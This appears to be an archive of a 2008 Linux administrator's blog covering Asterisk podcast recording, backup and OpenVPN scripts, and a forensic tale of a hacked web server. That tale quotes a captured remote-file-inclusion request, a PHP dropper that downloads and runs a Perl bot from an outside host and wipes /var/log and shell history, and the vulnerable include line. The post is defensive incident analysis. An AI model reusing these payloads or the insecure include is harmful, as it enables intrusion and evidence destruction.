Howto setup Asterisk for recording a podcast over the Internet

April 6, 2008

Some friends and I are planing a to make a podcast and as we IT guys we needed something to support our distributed recordings over the Internet. One of my friend lives about 200km away but also with the others it would be not that easy to get all into one room at the same time. When we looked around for various ways to do distributed recordings we found mostly Skype howto’s and we knew only a few podcasts which did the recording with Asterisk (in a not that good audio quality I think). But we didn’t find what we really wanted and so I started to look into that topic. At first I wrote our requirements down:

• the recording should be done centrally on a server automatically without user interaction (so it is not forgotten and to minimize the lag and sound quality problems)
• the recorded files should be easy available as OGG files to all podcast members after the recording, as the post production is maybe not done always by the same people
• various client operation systems and VoIP clients should be supported, therefore an open standard protocol should be used
• possibility to record each participant separately to allow changes in the volume or exclusively applying audio filters
• it should be possible to invite guest for interviews via the same system without requiring more than a VoIP client which support the choosen protocol. (no registration somewhere)
• optional it should be possible to connect the system to the POTS (plain old telephone service) for interviews with people which cannot use a VoIP client.
• And as a requirement by my knowledge and existing infrastructure, the server should run on one of my Linux servers I’ve running in a big data center, within a OpenVZ virtual environment.

After some research I decided to go with Asterisk. This howto describes what I’ve done to reach the above goals. After the completion of this howto you should have following:

• A SIP server where you participants can connect to and talk with each other.
• As soon as they go into a special virtual conference room everything they say will be recorded
• After they leave the conference room a background process will reencode the recorded WAV file to OGG and make it available via web.
• Every participant gets its own OGG file with the starting timestamp in the filename, you need to use the recording at the correct place in the post production.
• The inclusion of a SIP provider with connection to the POTS network is not described in this howto as there are may others describing it.

Some points of this howto are specific to my OpenVZ setup and the chosen distribution but most are generic and should work for any setup. Anyway here is the software I used.

• OpenVZ for virtualization
• Ubuntu 8.04 Hardy (x86_64) as distribution for the virtual environment
• Asterisk and Zaptel for VoIP part (Ubuntu packages)
• sox for translating the WAV files to OGG (Ubuntu package)
• lighttpd as small and fast web server for the OGG files (Ubuntu package)
• Twinkle as SIP client under Linux. (apt-get install twinkle)

Part 1: Hardware node setup

You can ignore that part if you don’t use OpenVZ and your kernel/distribution comes with ztdummy modules. The hardware node in my case runs on a Centos4 (x86_64). This is important as Asterisk needs the ztdummy kernel module, which comes with zaptel, for the meetme Asterisk module which is used for the conference rooms. As it is not possible to load kernel modules within a VE (virtual environment) (that’s a security feature!) I needed it on my hardware node. As the kernel of the hardware is a OpenVZ patched kernel and also Centos 4 does not come with a ztdummy module anyway, I needed to compile it.

I used the same version of zaptel as Ubuntu 8.04 does and it is also very important that you use a 64bit VE if you hardware node is 64bit, otherwise the device cannot be accessed correctly.

The install is quite straightforward

# tar xzf zaptel-1.4.8.tar.gz
# cd zaptel-1.4.8
# ./install_prereq test


Install the required packages and then continue with:

# ./configure
# make
# make install


but no “make config”, as we don’t need init scripts or that stuff. Now load the kernel module with modprobe ztdummy (and make sure that this is done after very boot, before the VEs start). Make sure the device is working with:

# ztcfg -v


The output should be something like:

Zaptel Version: 1.4.8
Echo Canceller: MG2
Configuration
======================
0 channels to configure.


At last we need the VE be able to access the ztdummy device, so we need to tell openVZ this.

# for x in `ls /dev/zap`; do /usr/sbin/vzctl set XXX --devnodes zap/${x}:rw --save; done


Replace the XXX with the ID of your podcast VE. Now we’re done with the hardware node and we can take a look at the user space stuff.

Part 2: Virtual Environment setup

At first we install the packages we need with following command:

# apt-get install asterisk-h323 asterisk-doc speex vpb-utils sox libsox-fmt-all lighttpd zaptel


Now we configure zaptel and check if it works:

# genzaptelconf
# ztcfg -v
# ztcfg -d


No error should be given. If a device is not found check if they got created by vzctl. After that make the devices in /dev/zap read and writable for the asterisk user:

# chown root:asterisk /dev/zap/*
# chmod 660 /dev/zap/*

Now we can work on the Asterisk configuration. We set following values in /etc/default/asterisk:

RUNASTERISK=yes
AST_REALTIME=no


The real time stuff does not work in a VE and gives audio problems. Now we need to do some configuration for NAT users in /etc/asterisk/sip.conf:

externip = you're_external_IP ; this is needed as asterisk has problem with the venet0 stuff otherwise
localnet=192.168.0.0/255.255.0.0; All RFC 1918 addresses are local networks
localnet=10.0.0.0/255.0.0.0 ; Also RFC1918
localnet=172.16.0.0/12 ; Another RFC1918 with CIDR notation
localnet=169.254.0.0/255.255.0.0 ;Zero conf local network


nat=yes
qualify=yes
canreinvite=no


After this global setup we configure for each of our podcasters one section, as shown here:

[firstPodcaster] ; this is also the user name
type=friend
context=sip
secret=the_password_of_this_user
callerid="Your_Name" <1> ; it is recommended to use no spaces here, as we use this as part of the filename. You need the “, “ and < ,> exactly as show here
host=dynamic
dtmfmode=info
disallow=all
allow=alaw
callingpres=allowed_passed_screen


We only support alaw so every client uses G.711a and we don’t need to translate. I believe in the US you need to use G.711u and therefore ulaw. Now we need a conference room for which we add following line to /etc/asterisk/meetme.conf:

conf => 10
conf => 20


Now we need to tie that together with the dial plan in /etc/asterisk/extensions.conf:

[globals]
MONITOR_EXEC=/usr/local/bin/wavIn2ogg.sh


And add following section:

[sip]


; so we can talk directly with another
exten => 31,1,Dial(SIP/firstPodcaster,20,tr)
exten => 32,1,Dial(SIP/secondPodcaster,20,tr)
exten => 33,1,Dial(SIP/thirdPodcaster,20,tr)


; this conference room is not recorded, for preparations
exten => 10,1,Answer
exten => 10,2,Wait(1)
exten => 10,3,Meetme(10,s)


; this conference room records automatically
exten => 20,1,Answer
exten => 20,2,Wait(1)
exten => 20,3,Set(CALLFILENAME=podcast_X_${CALLERID(name)}-${STRFTIME(${EPOCH},,%Y%m%d-%H%M%S)})
exten => 20,4,Monitor(wav,${CALLFILENAME},m)
exten => 20,5,Meetme(20,s)


; from the demo code – useful to look at the quality of your connection
; Create an extension, 60, for evaluating echo latency.
exten => 60,1,Playback(demo-echotest) ; Let them know what's going on
exten => 60,n,Echo ; Do the echo test
exten => 60,n,Playback(demo-echodone) ; Let them know it's over
exten => 60,n,Goto(s,60) ; Start over


Now you can restart Asterisk and connect with you SIP client. Call 60 to check if the audio stream works in both directions (try it without firewall on the Asterisk server if don’t hear anything). After that go into the conference room 10 with 1 or 2 friends and test it. If that all works you can work on the recording stuff. Create following script /usr/local/bin/wavIn2ogg.sh (don’t forget chmod 755):

#!/bin/bash
# wavIn2ogg.sh - creates ogg of the input mono stream
# used for recording each participant in a meeting room separately
# Written by Robert Penz


SOX=/usr/bin/sox
NICE=/usr/bin/nice


InFile="$1"
OutFile="$2"
OggFile=`echo $3|sed s/.wav//`.ogg
FinalDir=/var/www/production


#test if input files exist
test ! -r $InFile && exit
test ! -r $OutFile && exit


$NICE -n 19 $SOX -t wav "$InFile" -t vorbis "$OggFile"


#remove input files if successfull
test -r "$OggFile" && rm "$InFile" "$OutFile"


# at last set the permissions and move it in an atomic way
chmod 644 "$OggFile"
mv "$OggFile" "$FinalDir/."


Create the directory /var/www/production and set the correct permissions:

# mkdir /var/www/production
# chown asterisk:www-data /var/www/production


Now go the the conference room 20 and say something and disconnect. If it worked you should see with your browser under http:///production/ the recorded OGG file(s). If there are none, take a look at /var/spool/asterisk/monitor/ if there are 2 WAV files. If so call the wavIn2ogg.sh script by hand and look for any errors.

So thats the end of the story – you’ve now a system for recording podcasts over the internet in a cool way! Any comments, ideas or questions? Post them here.

mailNewRecordings: Script for reporting Dreambox recordings

March 28, 2008

I’ve written a small script which reports the recordings of my Dreambox 500 receiver (with a Gemini image), which writes its data onto my Linux file server, via email. This is important as I’ve configured the Dreambox to record automatically some series. The script can be run on the file server (as in my case) or on the Dreambox (if it has python installed). It is configurable via an ini-file and reports the new recordings including the description text provided by the EPG during the recording. A summary of all stored recordings is added at the bottom of the mail. The mail also includes the amount of space used by the recordings and the available storage space. Call the script via cron once a day. Ah, and here is the link to the script: mailNewRecordings-0.1.tar.bz2

A tale of searching for a hacker and his supporter, the idiot programmer

March 14, 2008

Some days ago a friend called me, one of his web servers had a spike in the traffic monitoring of the router. Over 2GB in one hour was not normal for this server and he asked me to take a look, which I did and which was the start of a journey. The first command I executed after login was top which reported following:

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
17448 www-data 25 0 48580 33m 5876 R 24 2.4 380:07.76 apache2
3117 www-data 25 0 6232 4392 1424 R 23 0.3 932:05.18 perl
3105 www-data 25 0 6232 4240 1272 S 19 0.3 687:54.80 perl
17447 www-data 25 0 44804 30m 5804 R 13 2.2 357:28.33 apache2


that did not look normal. I asked my friend if he is using perl on the webserver. He told me only for awstats but he uses the version which comes with the distribution and should be therefore up to date. When I did take a look with ps aux I could not find the perl process, the process with the same pid as above had the “name” /usr/sbin/apache2 -k start -DSSL, which was also the output of cat /proc/3117/cmdline. I wanted to know who the parent process was so I did following:

ps axo stat,euid,ruid,tty,tpgid,sess,pgrp,ppid,pid,pcpu,comm

Which showed the correct process name but which also showed that init (pid 1) was the was the parent process which could not be possible: Now that looked really bogus and I did a netstat -anp which showed me following:

tcp 0 0 88.xxx.xxx.xxx:57350 194.109.20.90:6666 ESTABLISHED3105/apache2 -k sta


A telnet 194.109.20.90:6666 showed me that this was a normal IRC server from the undernet.org network. Now I was sure that someone hacked the machine of my friend. I started my search for files which the attacker had created with following command:

touch -d "10 march 2008 20:00:00" date_marker
find / -newer date_marker > long_list.txt


I walked with my friend through the results but there were no files which where created by the attacker, so it seams the attacker knew at least some techniques to hide his traces. The apache logfiles didn’t help either, as I didn’t know when the infections took place and via which of the > 40 vhosts (some used by customers to upload there own stuff), which generated many entries even in the error log. I made also sure that no system files had been changed/replaced and I’m quite sure now that the attacker stayed with within the www-data user. So I did a restart of the server and could confirm that that the system was clean again and that I could look how long it would take for a reinfection. It was now already late in the night, as I got called in the evening, and I started a tcpdump on all non standard ports before I went to bed.

On the next day the system was infected again but now I had only 12h hours to cover. I downloaded the tcpdump raw packets file to my notebook and took a look with it with Wireshark. I went looking for port 6665 to 6669 at first and as I guest that the first connection attempt is also the infection time, I knew now the time. I got the time but I also got more – the complete IRC data the bot uses to connect and wait for his master:

IRC network: undernet.org
Channel: #vx.
Channel password: .BushMaster.


A look into the channel showed that only 30 nicks where present in that channel but that more than one operator was there which where searching for new victims in a systematic way as every 10-20 minutes a new nick joint. But this is an other story for an other post (maybe).

I knew now the infection time and found something in the apache error log, just between the log entries:

[Thu Mar 13 04:14:13 2008] [error] [client xxx.xxx.xxx.xxx] File does not exist: /home/xxxxxxxx/robots.txt
[Thu Mar 13 04:18:51 2008] [error] [client xxx.xxx.xxx.xxx] Negotiation: discovered file(s) matching request: xxxxxxxxxxxxx (None could be negotiated).
--04:20:17-- http://www.wolffilm.de/s.txt
=> `s.txt'
Resolving www.wolffilm.de... 217.160.103.90
Connecting to www.wolffilm.de|217.160.103.90|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 104,328 (102K) [text/plain]
0K .......... .......... .......... .......... .......... 49% 1.14 MB/s
50K .......... .......... .......... .......... .......... 98% 3.75 MB/s
100K . 100% 21.89 MB/s
04:20:17 (1.78 MB/s) - `s.txt' saved [104328/104328]


I tried at once to download that file, but it was not there anymore. I searched for the file on the web server it was also not there. I started a search for any other wget entries in the apache error log and did find one before – the original infection.

But what now, the systems was setup in a way that I didn’t have all logfiles in one place and they were also not complete and really usable. And with > 40 vhosts it would take ages so I decided to do a full tcpdump of all traffic which goes to and from the server after a restart to monitor the reinfection. I looked with

ps axo stat,euid,ruid,tty,tpgid,sess,pgrp,ppid,pid,pcpu,comm | grep perl


every some hours to check if a reinfection has already happened, if not I restarted tcpdump to reset the raw packet file. After I came back from the monthly LUGT meeting (linux user group tirol) the system was infected again and I got >6gb of tcpdump trace. But now I knew what to look for, the wget entries. I found them at Thu Mar 13 21:34:42 2008. I used tcpslice to extract the time frame which was interesting for me.

tcpslice -w attack.raw 2008y3m13d21h30m +600 dump-02.raw


After downloading the file onto my poor and old notebook I searched in Wireshark for the same time stamp and I found the break in:

GET /pages.php?content=http://www.flying-swan.de/s? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.xxxxxxx.xxxx
User-Agent: libwww-perl/5.805


which generated following action by the webserver:

GET /s?.php HTTP/1.0
Host: www.flying-swan.de


HTTP/1.1 200 OK
Date: Thu, 13 Mar 2008 20:33:12 GMT
Server: Apache/1.3.34 Ben-SSL/1.55
Last-Modified: Thu, 13 Mar 2008 20:30:15 GMT
ETag: "930958-119a-47d98ed7"
Accept-Ranges: bytes
Content-Length: 4506
Connection: close
Content-Type: text/plain
X-Pad: avoid browser bug


<?
exec("cd /tmp;wget http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
exec("cd /tmp;curl -O http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
exec("cd /tmp;lwp-download http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
exec("cd /tmp;GET http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
exec("cd /tmp;fetch http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
exec("cd /tmp;lynx -source http://www.flying-swan.de/s.txt>>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
shell_exec("cd /tmp;wget http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
shell_exec("cd /tmp;curl -O http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
shell_exec("cd /tmp;lwp-download http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
shell_exec("cd /tmp;GET http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
shell_exec("cd /tmp;fetch http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
shell_exec("cd /tmp;lynx -source http://www.flying-swan.de/s.txt>>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
system("cd /tmp;wget http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
system("cd /tmp;curl -O http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
system("cd /tmp;lwp-download http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
system("cd /tmp;GET http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
system("cd /tmp;fetch http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
system("cd /tmp;lynx -source http://www.flying-swan.de/s.txt>>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
passthru("cd /tmp;wget http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
passthru("cd /tmp;curl -O http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
passthru("cd /tmp;lwp-download http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
passthru("cd /tmp;GET http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
passthru("cd /tmp;fetch http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
passthru("cd /tmp;lynx -source http://www.flying-swan.de/s.txt>>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
popen("cd /tmp;wget http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
popen("cd /tmp;curl -O http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
popen("cd /tmp;lwp-download http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
popen("cd /tmp;GET http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
popen("cd /tmp;fetch http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
popen("cd /tmp;lynx -source http://www.flying-swan.de/s.txt>>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
proc_open("cd /tmp;wget http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
proc_open("cd /tmp;curl -O http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
proc_open("cd /tmp;lwp-download http://www.flying-swan.de/s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
proc_open("cd /tmp;GET http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
proc_open("cd /tmp;fetch http://www.flying-swan.de/s.txt>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*", "r");
proc_open("cd /tmp;lynx -source http://www.flying-swan.de/s.txt>>s.txt;perl s.txt;perl s.txt;rm -rf s.txt s.txt*");
exec("rm -rf /var/log/*>>/dev/null;killall -9 php mech inetd eggdrop httpd");
shell_exec("rm -rf /var/log/*>>/dev/null;killall -9 php mech inetd eggdrop httpd");
system("rm -rf /var/log/*>>/dev/null;killall -9 php mech inetd eggdrop httpd");
passthru("rm -rf /var/log/*>>/dev/null;killall -9 php mech inetd eggdrop httpd");
popen("rm -rf /var/log/*>>/dev/null;killall -9 php mech inetd eggdrop httpd", "r");
proc_open("rm -rf /var/log/*>>/dev/null;killall -9 php mech inetd eggdrop httpd", "r");
unlink("/tmp/sess_e00dd4lbo2ad2758n9fc641e47cd76x9");
unlink("s.txt");
unlink("s.txt*");
unlink(".bash_history");
?>


which than downloaded the perl script I attached here … It is worthwhile a look. After all this work I was curious how the php script looked which as used for gaining access to the server. Lets take a look at the interesting parts of the page.php file:

<!--Fireworks 8 Dreamweaver 8 target. Created Tue Dec 18 21:07:03 GMT+0100 2007--<
....
<td height="21" colspan="2" bgcolor="#C9CACC">   <a href="./">Home</a> | <a href="pages.php?content=info">Information</a> | <a href="pages.php?content=progr">Programm</a> | <a href="pages.php?content=anmeld">Anmeldung</a> </td>


and finally:

<?php include($_GET[content].".php");?>


Argh .. I’m going to kill this idiot programmer … who is that damn stupid still in 2008? I can’t believe it – how can someone like this call himself programmer. I deactivated the whole website and I told my friend that he should send the programmer an invoice for my hours I needed to trace this down to something like this stupid. Thats want I can call only wantonly negligent and I need also to talk to my friend about the security of his web server, but I believe that this was opened due request by the idiot .. ah sorry … programmer.

Amazon MP3 with Linux downloader

March 4, 2008

I don’t really know why a special client program is necessary in the first place but still it is time to celebrate a little bit. Amazon has announced the beta version, which still has the full functionality, of a Linux client for their music download portal. The software is provided as binary packages for Ubuntu 7.10, Debian 4.0, Fedora 8 and OpenSUSE 10.3 (Sorry no source available). The music itself is DRM free and provided as high quality MP3 files.

It seems that Linux is now getting more awareness in the desktop field which is good. But I still don’t understand why Amazon does not an AJAX enhanced web site as their competence lies in that area. What I would like to see is an open API for accessing the portal/music so it could be integrated into Amarok or similar open source programs.

Disk encryption broken due cooled memory

February 22, 2008

The hard disk and file encryption Systems Bitlocker (Vista), dm-crypt, TrueCrypt and Apples FileVault were previously known to be save. This is no longer the case! Researchers from the Princeton University published in their blog a video showing how to extract the password stored in the memory. The attack vector is in this case the DRAM, which does not lose the state after a power cut. It takes some seconds or even minutes, by cooling the memory (-50°C) this can be extended even further.

The researcher boot than a mini program which dumps the memory onto a USB hard disk. A second program searches in this dump than for the password. Take a look at the video it is really well done!

My first thought to be at least a little bit secure is not use the standby modus but to switch off the computer completely. This at least limits the opportunity for an attacker to a few minutes. But this is not a solution. A solution would be a special RAM for storing the password which clears the memory when the power is cut. This could be done by a capacitor which provides enough power to clear the memory.

Has someone a better/other idea?

Script for deleting files older than x days

February 16, 2008

I’m operating some mail servers, where I’m running two different virus scanner. The first one is engaged during the SMTP handshake and rejects malicious mails. The second one is invoked before the maildrop filter. If this one detects a malware the attachment is removed from the mail and which is stored in a quarantine directory. The user is informed about the removal in this case so he can write me a mail if wants this file – but most user will never ask for the files, so I needed a script which deletes all files in the quarantine directory which are older than the configured days.

delete_old_files.py is this script, which I call by crond like this:


# m h dom mon dow command
23 23 * * * /usr/local/sbin/delete_old_files.py /var/quarantine/ 30


This script is a general purpose script which should also be helpful in other scenarios.

iptables firewall scripts updated

February 12, 2008

I’ve just moved my iptables firewall scripts from the old server to my blog and I updated the scripts with some new tricks I learned in the last years. I’ve have (modified) versions of these scripts running on all of my servers, as it provides an easy starting point which saves much time. The rules are easy enough to understand and change and I’m not a fan of complicated iptables rules you won’t understand without a special GUI. If something is so complex it will have wholes in it! I hope with this scripts you will see that iptables is not complicated. Have fund and be secure.

Ubuntu grows into the Enterprise

February 11, 2008

Matt Asay writes about an Alfresco’s Open Source Barometer survey which shows that Ubuntu is the fastest-growing Linux distribution. I won’t repeat the exact values here – read the original blog entry.
What I want to talk about it is that normally (K)Ubuntu is thought to be strong in the end-user desktop market, but Alfresco has mostly enterprise customers, which leads to the conclusion that Ubuntu has also an impact on enterprise level. I’ve started deploying Ubuntu Servers side by side with Debian on servers and specially on desktops with the first Ubuntu LTS release, but I thought thats just me. But it seems I was wrong – some other guys are also installing it the enterprise ;-).

I like that move as Ubuntu provides the same distribution for free and with a support contract. With RHEL I need to choose a clone like Centos, which at least in the past did not provide every package RHEL provided, for some less important servers. With Ubuntu I can use the same setup and maintenance process for all of my servers and that is specially important as I use OpenVZ a lot, which leads to many installed Ubuntu systems. Now I only hope that even more Linux systems get deployed in the enterprise and that Ubuntu takes a fair share of that piece of the market.

Backup of Appliances: Login and Download

February 5, 2008

I have sometimes the problem that I want to backup a device which has only a web interface (e.g. an appliance). Most of them provide a possibility for this, after a successful login you need only to click in the browser onto the backup link/button to get a file with the backup. So why I’m writing a whole post about this topic?

It is because I don’t want to do it by myself, I want it automatically done every night – now it is not that trivial anymore. Why should I want a backup every night? You say, I just could make a backup every time I change something. I don’t think that this is a good idea, beside that I’m too lazy for this.

I use normally cURL for this task, which I will illustrate with a backup script for a Vlines appliance (an Asterisk server appliance). Take a look at the source:


#!/bin/bash
url=https://xxx.xxx.xxx.xxx
cookieFile=/tmp/vlines_cookie.jar
configFile=accessvoip.vlines
#-----------
curl -d "username=XXX&passwort=XXXX" -c $cookieFile $url/index.php
curl -s -S -b $cookieFile $url/save.php > $configFile
curl -s -S -b $cookieFile $url/logout.php
rm $cookieFile


As you see, it is really easy. cURL has the ability to store cookies which is used by this appliance to store a user session and the login credentials are provided as parameters to the server. After a successful login we just want to get the backup file and log out.

As you see I use a fixed filename for storage – this is because this script is called by rsnapshot which does compare the output of the script with the last run and provides hardlink based snapshots. rsnapshot also sends me a mail if anything within the script provided an output (= indicating an error).

This script should be easily adapted to your device/appliance like access point, router, environment monitor, …. have fund and be secure.

ovpnCNcheck — an OpenVPN tls-verify script

February 2, 2008

If you’ve running an OpenVPN server you may have asked yourself how you can decide which clients can connect even if they got signed by the same CA. A common case would arises if you provide more than one OpenVPN server but not all clients should be able to connect to every one. Sure it would be possible to use a separate CA for each server but that would not be flexible. The clients would need more than one certificate/key pair and if you want to enable/disable access to a certain server for a client you need to generate/revoke the client certificate. Not a good idea!

I’ve therefore written two scripts with solve this problem. These scripts check if the peer is in the allowed user list by checking the CN (common name) of the X.509 certificate against a provided text file. For example in OpenVPN, you could use the directive:

tls-verify "/usr/local/sbin/ovpnCNcheck.py /etc/openvpn/userlist.txt"

This would cause the connection to be dropped unless the client common name is within the userlist.txt. The bash script will just check if a common name is in one of the lines (one CN per line) and the python version parses the provided regular expressions. Every line should hold one regular expression in this case which can also be just one common name (don’t forget to escape stuff like .?^()[]\ with a \). Empty lines or ones which start with a # are ignored. The bash version works also on a “out of the box” OpenWRT installation.

Python version: ovpncncheck.py
Bash version: ovpncncheck.sh

Hope it helps you!